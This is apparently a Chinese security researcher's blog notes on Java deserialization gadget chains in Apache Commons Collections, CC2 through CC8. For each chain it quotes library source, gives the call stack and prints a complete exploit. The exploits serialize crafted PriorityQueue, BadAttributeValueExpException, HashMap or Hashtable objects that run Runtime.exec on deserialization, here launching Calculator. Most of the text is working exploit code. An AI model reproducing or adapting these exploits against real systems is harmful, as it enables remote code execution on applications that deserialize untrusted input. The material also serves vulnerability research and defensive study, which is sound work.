1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.company;import java.io.FileInputStream;import java.io.ObjectInputStream;public class test { int a=0 ; String b; public test (int a) { this (a,"asdf" ); } private test (int a,String b) { this .a =a; this .b =b; } public static void main (String[] args) throws Exception { test ss= new test(1 ); System.out.println(ss.b); } }
回到原题;
我们要想触发其优先级队列排序方法,首先数组里面得存在值才可;所以得先来进行add插入值,否则size为0;将不会进行流程;后期再将其元素调换为TemplatesImpl的实力化对象,方便其利用InvokerTransformer对象下的transform去调用newTransformer方法;这里我测试无论是否在最开始的时候初始化size大小都可以进行下去;随后我简单看了下源码
1 2 3 4 public boolean add (E e) { return offer(e); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public boolean offer (E e) { if (e == null ) throw new NullPointerException(); modCount++; int i = size; if (i >= queue.length) grow(i + 1 ); size = i + 1 ; if (i == 0 ) queue[0 ] = e; else siftUp(i, e); return true ; }
当我们后期add的时候,会进行size的统计,并将其add的对象放入到queue数组中去;这也自然不会影响到我们链的走向;还有一个点我在编写exp的时候也遇到,我最开始想直接在实力化优先级队列的时候传入TemplatesImpl对象,然后直接进行链条的拼接,但是会触发ClassLoader的错误,导致两个ClassLoader加载同一个class;所以还是首先拿1来进行站位,随后再修改;
放出最后的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 package com.company;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import org.apache.xalan.xsltc.runtime.AbstractTranslet;import org.apache.xalan.xsltc.trax.TemplatesImpl;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.PriorityQueue;public class javassist { public static class s1mple { } public static void main (String[] args) throws Exception { String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classpool = ClassPool.getDefault(); classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); classpool.insertClassPath(new ClassClassPath(s1mple.class)); classpool.insertClassPath(new ClassClassPath(s1mple.class)); CtClass s2mple = classpool.get(s1mple.class.getName()); CtClass s3mple = classpool.get(Class.forName(AbstractTranslet).getName()); s2mple.setSuperclass(s3mple); s2mple.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");" ); byte [] bt = s2mple.toBytecode(); Class templatesimpl = Class.forName(TemplatesImpl); Constructor constructor= templatesimpl.getConstructor(); Object temp = constructor.newInstance(); Field name = templatesimpl.getDeclaredField("_name" ); name.setAccessible(true ); name.set(temp,"s1mple_hack" ); Field bytecode = templatesimpl.getDeclaredField("_bytecodes" ); bytecode.setAccessible(true ); bytecode.set(temp,new byte [][]{bt}); PriorityQueue priority = new PriorityQueue(); priority.add(1 ); priority.add(1 ); TransformingComparator trans = new TransformingComparator(new InvokerTransformer("newTransformer" ,new Class[]{}, new Object[]{})); Class pri = priority.getClass(); Field que = pri.getDeclaredField("queue" ); que.setAccessible(true ); Object[] innerArr = (Object[]) que.get(priority); innerArr[0 ] = temp; innerArr[1 ] = temp; Field com = pri.getDeclaredField("comparator" ); com.setAccessible(true ); com.set(priority,trans); ObjectOutputStream shuchu = new ObjectOutputStream(new FileOutputStream("a.bin" )); shuchu.writeObject(priority); } }
到此CC2已经分析完成,这里顺便记录一下CC3的整体流程,因为CC3和CC2其原理基本类似,也就是将其利用的类换了一个,其实本质上还是调用了newInstance方法去进行实力化我们的恶意的class达到rce;
CommonsCollections3 其变化的点是InvokerTransformer类换成了InstantiateTransformer类,这里追溯下InstantiateTransformer类下的transform方法;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public T transform (Class<? extends T> input) { try { if (input == null ) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a null object" ); } else { Constructor<? extends T> con = input.getConstructor(this .iParamTypes); return con.newInstance(this .iArgs); } } catch (NoSuchMethodException var3) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public " ); } catch (InstantiationException var4) { throw new FunctorException("InstantiateTransformer: InstantiationException" , var4); } catch (IllegalAccessException var5) { throw new FunctorException("InstantiateTransformer: Constructor must be public" , var5); } catch (InvocationTargetException var6) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception" , var6); } }
不同版本的jdk其源码写法有差异,我的版本是java8u112;
简单的审计下不难发现是将input传入的Class对象进行了实力化操作;通过反射拿到input也即是传入的Class对象的构造器;获得传入形参的类型,然后newInstance进行调用;直接实力化对象;
直接放出exp,没啥好说的; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.xalan.xsltc.runtime.AbstractTranslet;import org.apache.xalan.xsltc.trax.TemplatesImpl;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.xalan.xsltc.trax.TrAXFilter;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CC3 { public static class s1mple { } public static void main (String[] args) throws Exception { String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classpool = ClassPool.getDefault(); classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); classpool.insertClassPath(new ClassClassPath(s1mple.class)); classpool.insertClassPath(new ClassClassPath(s1mple.class)); CtClass s2mple = classpool.get(s1mple.class.getName()); CtClass s3mple = classpool.get(Class.forName(AbstractTranslet).getName()); s2mple.setSuperclass(s3mple); s2mple.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");" ); byte [] bt = s2mple.toBytecode(); Class templatesimpl = Class.forName(TemplatesImpl); Constructor constructor= templatesimpl.getConstructor(); Object temp = constructor.newInstance(); Field name = templatesimpl.getDeclaredField("_name" ); name.setAccessible(true ); name.set(temp,"s1mple_hack" ); Field bytecode = templatesimpl.getDeclaredField("_bytecodes" ); bytecode.setAccessible(true ); bytecode.set(temp,new byte [][]{bt}); PriorityQueue priority = new PriorityQueue(); priority.add(1 ); priority.add(1 ); InstantiateTransformer instan = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{temp}); Transformer instans = (Transformer)instan; TransformingComparator trans = new TransformingComparator(instans); Class pri = priority.getClass(); Field com = pri.getDeclaredField("comparator" ); com.setAccessible(true ); com.set(priority,trans); Field que = pri.getDeclaredField("queue" ); que.setAccessible(true ); Class TrA = TrAXFilter.class; Object[] innerArr = (Object[]) que.get(priority); innerArr[0 ] = TrA; innerArr[1 ] = TrA; ObjectOutputStream shuchu = new ObjectOutputStream(new FileOutputStream("a.bin" )); shuchu.writeObject(priority); ObjectInputStream test = new ObjectInputStream(new FileInputStream("a.bin" )); test.readObject(); } }
唯一的遗憾是,中途碰到了个弱智的视力问题,因为没看清楚代码,导致了exp推迟两个小时出,中途还为学校的一些事伤脑没认真看,中途一直在debug,太糙了;;要不然可以根据之前的exp一分钟出,裂开;;
CommonsCollections4 exp+思考 这个链条也挺简单的,只是将我们前半部分的利用链换成了我们CC链1当中的利用链条;去调用任意类下的任意方法,这里直接去调用到我们最后Transformer类下的newTransformer方法去加载我们的恶意class;本质还是一样的,只不过是组合不一样而已;拿着之前写的exp稍微改改就成了新的exp;但是这个exp和之前的第一版本的exp一样,都是对jdk的版本有要求,在拿u66及以下版本的时候可以成功运行,
最开始跑的时候没结果,还以为写的有问题,后来想了下之前cc1的时候因为版本限制导致readObject下的memberValue被篡改而导致无法进行代理的完成。而cc4和cc1基本前部流程一样,那就直接换版本为u66(因为这个前期的链条在高版本中修复),进行运行弹出计算器;success;;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.xalan.xsltc.runtime.AbstractTranslet;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC4 { public static class s1mple { } public static void main (String[] args) throws Exception { String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classpool = ClassPool.getDefault(); classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); classpool.insertClassPath(new ClassClassPath(s1mple.class)); classpool.insertClassPath(new ClassClassPath(s1mple.class)); CtClass s2mple = classpool.get(s1mple.class.getName()); CtClass s3mple = classpool.get(Class.forName(AbstractTranslet).getName()); s2mple.setSuperclass(s3mple); s2mple.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");" ); byte [] bt = s2mple.toBytecode(); Class templatesimpl = Class.forName(TemplatesImpl); Constructor constructor= templatesimpl.getConstructor(); Object temp = constructor.newInstance(); Field name = templatesimpl.getDeclaredField("_name" ); name.setAccessible(true ); name.set(temp,"s1mple_hack" ); Field bytecode = templatesimpl.getDeclaredField("_bytecodes" ); bytecode.setAccessible(true ); bytecode.set(temp,new byte [][]{bt}); String Annotation = "sun.reflect.annotation.AnnotationInvocationHandler" ; String lazy = "org.apache.commons.collections.map.LazyMap" ; String invoke = "org.apache.commons.collections.functors.InvokerTransformer" ; Transformer[] tran = new Transformer[]{new ConstantTransformer(temp),new InvokerTransformer("newTransformer" ,null ,null )}; Transformer chaintransform = new ChainedTransformer(tran); HashMap hashmap = new HashMap<String,String>(); Class Lazy = Class.forName(lazy); Constructor lazycon = Lazy.getDeclaredConstructor(Map.class, Transformer.class); lazycon.setAccessible(true ); Object lay = lazycon.newInstance(hashmap,chaintransform); Map lays = (Map)lay; Class Annotations = Class.forName(Annotation); Constructor constructor1 = Annotations.getDeclaredConstructors()[0 ]; constructor1.setAccessible(true ); Object s1mple = constructor1.newInstance(Override.class,lays); InvocationHandler ssdd = (InvocationHandler)s1mple; Map proxy = (Map)Proxy.newProxyInstance(lay.getClass().getClassLoader(),lay.getClass().getInterfaces(),ssdd); InvocationHandler smple = (InvocationHandler)constructor1.newInstance(Override.class,proxy); ObjectOutputStream yy = new ObjectOutputStream(new FileOutputStream("aa.bin" )); yy.writeObject(smple); ObjectInputStream what = new ObjectInputStream(new FileInputStream("aa.bin" )); what.readObject(); } }
CommonsCollections5 这个链条虽说可以和前面的链条利用方式区别开,但是我感觉从本质上来说也只是换了种get的触发方法;网上的链条是利用新的触发get点和CC1的后半段进行连接,这里我简单的做了和CC2做个链接,自己简单的做了个挖掘;本身上还是换汤不换药;来看下;新引入的类为BadAttributeValueExpException和TiedMapEntry类;来看下内容;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
来简单的看下,valObj是拿到val后赋值;然后判断其是否为空,如果为空则val赋值为null;否则将进行其他if判断,当SecurityManager未设置的时候会直接满足,调用valObj下的toString方法;这里引入TiedMapEntry类;
1 2 3 4 5 public String toString () { return this .getKey() + "=" + this .getValue(); } }
这里发现调用了getKey和getValue方法;追溯看看;
1 2 3 4 5 6 7 8 public Object getKey () { return this .key; } public Object getValue () { return this .map.get(this .key); }
这里可以看到map.get,那就和LazyMap下的get方法很相似了;直接用这两个类代替之前的代理方法触发invoke然后触发get的点,达到最后加载恶意的class去进行rce;
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.xalan.xsltc.runtime.AbstractTranslet;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC5 { public static class s1mple { } public static void main (String[] args) throws Exception { String lazymap = "org.apache.commons.collections.map.LazyMap" ; String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ; String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; ClassPool classpool = ClassPool.getDefault(); classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); classpool.insertClassPath(new ClassClassPath(s1mple.class)); classpool.insertClassPath(new ClassClassPath(s1mple.class)); CtClass s2mple = classpool.get(s1mple.class.getName()); CtClass s3mple = classpool.get(Class.forName(AbstractTranslet).getName()); s2mple.setSuperclass(s3mple); s2mple.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");" ); byte [] bt = s2mple.toBytecode(); Class templatesimpl = Class.forName(TemplatesImpl); Constructor constructor= templatesimpl.getConstructor(); Object temp = constructor.newInstance(); Field name = templatesimpl.getDeclaredField("_name" ); name.setAccessible(true ); name.set(temp,"s1mple_hack" ); Field bytecode = templatesimpl.getDeclaredField("_bytecodes" ); bytecode.setAccessible(true ); bytecode.set(temp,new byte [][]{bt}); HashMap hash = new HashMap<String,String>(); Map hashmap = (Map)hash; Class lazy = Class.forName(lazymap); Constructor lazycon = lazy.getDeclaredConstructor(Map.class,Transformer.class); lazycon.setAccessible(true ); Transformer[] transformers = new Transformer[]{new ConstantTransformer(temp),new InvokerTransformer("newTransformer" ,null ,null )}; Transformer chained = new ChainedTransformer(transformers); Object lazyss = lazycon.newInstance(hashmap,chained); Map lazyMap = (Map)lazyss; Class bad = javax.management.BadAttributeValueExpException.class; Field val = bad.getDeclaredField("val" ); val.setAccessible(true ); BadAttributeValueExpException as = new BadAttributeValueExpException("s1mple" ); TiedMapEntry tied = new TiedMapEntry(lazyMap,"s1mple" ); val.set(as,tied); ObjectOutputStream exp = new ObjectOutputStream(new FileOutputStream("c.bin" )); exp.writeObject(as); ObjectInputStream test = new ObjectInputStream(new FileInputStream("c.bin" )); test.readObject(); } }
不太难理解;
CommonsCollections6 看到了5的用法,在6中也可以进行类似的用法,将最后rce的触发点换成之前Runtime下的exec方法触发;也可导致rce;没什么好说的了;限制条件也和之前的那个链一样,SecurityManager未设置的时候可以触发;
exp如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import javax.management.BadAttributeValueExpException;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6 { public static void main (String[] args) throws Exception { String lazymap = "org.apache.commons.collections.map.LazyMap" ; String chain = "org.apache.commons.collections.functors.ChainedTransformer" ; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(java.lang.Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , new Class[]{}}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , new Object[]{}}), new InvokerTransformer("exec" , new Class[]{String[].class}, new Object[]{new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }}), }; HashMap hash = new HashMap<String,String>(); Map hashmap = (Map)hash; Class lazy = Class.forName(lazymap); Constructor lazycno = lazy.getDeclaredConstructor(Map.class,Transformer.class); lazycno.setAccessible(true ); ChainedTransformer chains = new ChainedTransformer(transformers); Transformer chs = (Transformer)chains; Object lazyMap = lazycno.newInstance(hashmap,chs); Map la = (Map)lazyMap; Class bad = javax.management.BadAttributeValueExpException.class; Field val = bad.getDeclaredField("val" ); val.setAccessible(true ); BadAttributeValueExpException as = new BadAttributeValueExpException("s1mple" ); TiedMapEntry tied = new TiedMapEntry(la,"s1mple" ); val.set(as,tied); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("exp.bin" )); out.writeObject(as); ObjectInputStream test = new ObjectInputStream(new FileInputStream("exp.bin" )); test.readObject(); } }
弹出计算器success;
思考 其实反观这几个链条,都是利用了ChainedTransformer下的for循环去进行调用,其中也不乏用到了InvokerTransformer下的方法;然而org.apache.commons.collections4.functors.InvokerTransformer的transform和org.apache.commons.collections.functors.InvokerTransformer是差不多一样的,我们只需要将这个变换一下就又可以多出几个链条,但是也会受相应的版本的限制;不过这些也没什么分析的意义,在这里就不分析了;点一下;
CommonsCollections7 先来看下调用栈;
1 2 3 4 5 6 7 8 9 10 11 12 13 Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
这里看到是在HashSet下进行反序列化,然后到HashMap下进行hashCode的跳转;追溯下函数:HashMap下的hash方法;但是在HashMap下已经存在了readObject方法,所以这里也就不去挂到HashSet类下了;直接HashMap走起;
1 2 3 4 5 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
可以看到这里调用了key对象下的hashCode方法;在TiedMapEntry类下也存在hashCode函数,追溯一下:
1 2 3 4 5 public int hashCode () { Object value = this .getValue(); return (this .getKey() == null ? 0 : this .getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
可以看到也调用了getValue和getKey方法;是否看到了上一个链条的影子?那其实也没有什么悬念了;
直接exp吧;不是很难理解,基本就是换了下前面的链条,后面的exec还是调用Runtime下的,其实也可转为加载恶意class去进行rce;其实也是换汤不换药;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class CC7 { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException { String lazymap = "org.apache.commons.collections.map.LazyMap" ; String chain = "org.apache.commons.collections.functors.ChainedTransformer" ; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(java.lang.Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , new Class[]{}}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , new Object[]{}}), new InvokerTransformer("exec" , new Class[]{String[].class}, new Object[]{new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }}), }; ChainedTransformer chains = new ChainedTransformer(transformers); HashMap hashmap = new HashMap(); Map hash = (Map)hashmap; Class lazy = Class.forName(lazymap); Constructor lazyconstructor = lazy.getDeclaredConstructor(Map.class,Transformer.class); lazyconstructor.setAccessible(true ); Object lazyMap =lazyconstructor.newInstance(hash,chains); Map lazys = (Map)lazyMap; HashMap hashmaps = new HashMap<Object,String>(); TiedMapEntry tied = new TiedMapEntry(lazys,"s1mple" ); hashmaps.put(tied,"s1mple" ); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("exp.ser" )); out.writeObject(hashmaps); ObjectInputStream test = new ObjectInputStream(new FileInputStream("exp.ser" )); test.readObject(); } }
CommonsCollections8 先来看看调用栈;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Payload method chain: java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 java.lang.Runtime.exec
不同于这个调用栈,我简单挖掘并采用一种新的方式去进行调用;直接看到hashtable类下有一个put方法,简单追溯下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public synchronized V put (K key, V value) { if (value == null ) { throw new NullPointerException(); } Entry<?,?> tab[] = table; int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; @SuppressWarnings("unchecked") Entry<K,V> entry = (Entry<K,V>)tab[index]; for (; entry != null ; entry = entry.next) { if ((entry.hash == hash) && entry.key.equals(key)) { V old = entry.value; entry.value = value; return old; } } addEntry(hash, key, value, index); return null ; }
非常巧的是这个方法里也是调用到了hashCode方法;而且是任意类下;这里可以直接将key赋值为TiedMapEntry实例;然后去调用其下的hashCode去触发getKey和getValue方法,接着就是常规的利用链了;
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC8 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(java.lang.Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , new Class[]{}}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , new Object[]{}}), new InvokerTransformer("exec" , new Class[]{String[].class}, new Object[]{new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }}), }; ChainedTransformer chains = new ChainedTransformer(transformers); HashMap hashmap = new HashMap(); Map maphash = (Map)hashmap; String lazy = "org.apache.commons.collections.map.LazyMap" ; Class lazyclass = Class.forName(lazy); Constructor lazycon =lazyclass.getDeclaredConstructor(Map.class, Transformer.class); lazycon.setAccessible(true ); Object lazymap = lazycon.newInstance(maphash,chains); Map laz = (Map)lazymap; TiedMapEntry tied = new TiedMapEntry(laz,"s1mple" ); Hashtable hash = new Hashtable(); hash.put(tied,"s1mple" ); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("s1mple.exp" )); out.writeObject(hash); ObjectInputStream test = new ObjectInputStream(new FileInputStream("s1mple.exp" )); test.readObject(); } }
感悟;其实某种程度上感觉CC链还是有很多雷同的地方,很多条其他的CC链,基本在前两个CC链研究好了之后都是可以秒出,因为其本质上只是换了去触发相应函数的方法,前两条还挺好,后面的CC链都挺换汤不换药的;至于挖掘新的链条,其实也不是太难,只是看是继续换汤不换药还是去找新的后半部分链条的新触发方式了;